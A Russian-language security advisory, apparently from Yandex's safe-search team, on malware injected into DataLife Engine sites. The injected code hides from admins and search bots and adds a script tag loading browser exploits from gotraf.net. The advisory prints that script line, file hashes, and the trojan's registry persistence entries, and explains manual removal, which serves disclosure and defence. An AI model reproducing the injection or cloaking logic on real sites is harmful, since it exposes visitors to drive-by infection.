Внимание: обнаружен вредоносный код с gotraf.net

На днях команда безопасного поиска Яндекса выявила новый вредоносный код. Причиной заражения сайтов вредоносным кодом часто становится взлом систем управления контентом с последующим изменением их исходных кодов.

В последнее время стали чаще происходить случаи заражения сайтов, работающих на CMS DataLife Engine кодом, который добавляет на страницу тег <script>.

Пример кода, которым происходит заражение:

Данный код проверяет, установлены ли cookie с именем dle_password и присутствуют ли в значении HTTP-заголовка User-Agent следующие строки:

• yandex
• google
• bot

Если cookie с именем dle_password не установлены и в значении HTTP заголовка User-Agent не присутствует строк yandex, google или bot, то в код страницы вставляется:

<script& src=http://gotraf.net/in.php?id=<id>

где <id> – трёхзначное число.

Общие рекомендации, как удалить со страницы вредоносный код и больше не дать его разместить, описаны в соответствующем разделе помощи. Узнать подробности о том, какие страницы заражены, можно, зарегистрировав заражённый сайт на Яндекс.Вебмастере.

При посещении сайта, который использует CMS, зараженную данным серверным скриптом, в браузере автоматически исполняется браузерный скрипт, подгружаемый с хоста gotraf.net. Этот браузерный скрипт пытается эксплуатировать уязвимости в популярных браузерах и сторонних продуктах. При удачной эксплуатации хотя бы одной из уязвимостей на компьютер пользователя загружается и устанавливается вредоносное ПО.

По данным с virustotal.com, на 19.07.2011 вредоносное ПО с хоста gotraf.net детектировалось только антивирусами:

• DrWeb;
• Kaspersky;
• McAfee-GW-Edition

Хэши вредоносного файла:

• MD5: c852cb73a67be8080b292577e77349d0 ;
• SHA1: d66db7ab31b5b6ac83cb17b58e40f1eca3acc2d9 ;
• SHA256: d01d44972e2e853907ec0f6acaa9ff60bb797825c0dd107655f1b963c70ce2a1 .

Вирус блокирует работу операционной системы, копирует себя в папку C:\Program Files\Common Files\ с именем winlogin.exe, а также создает 2 записи в реестре, чтобы при каждом последующем старте операционной системы происходил его запуск.

Записи в реестре:

• HKEY_LOCAL_MACHINE\software\microsoft\Windows NT\CurrentVersion\Winlogon\Shell = Explorer.exe "C:\Program Files\Common Files\winlogin.exe";
• HKEY_LOCAL_MACHINE\software\microsoft\Windows\CurrentVersion\Run\winlogin = "C:\Program Files\Common Files\winlogin.exe" .

Для удаления вируса с компьютера пользователя вручную, нужно удалить соответствующие записи в реестре, а также файл winlogin.exe (не перепутайте с winlogon.exe) .

 

Подробности на http://safesearch.ya.ru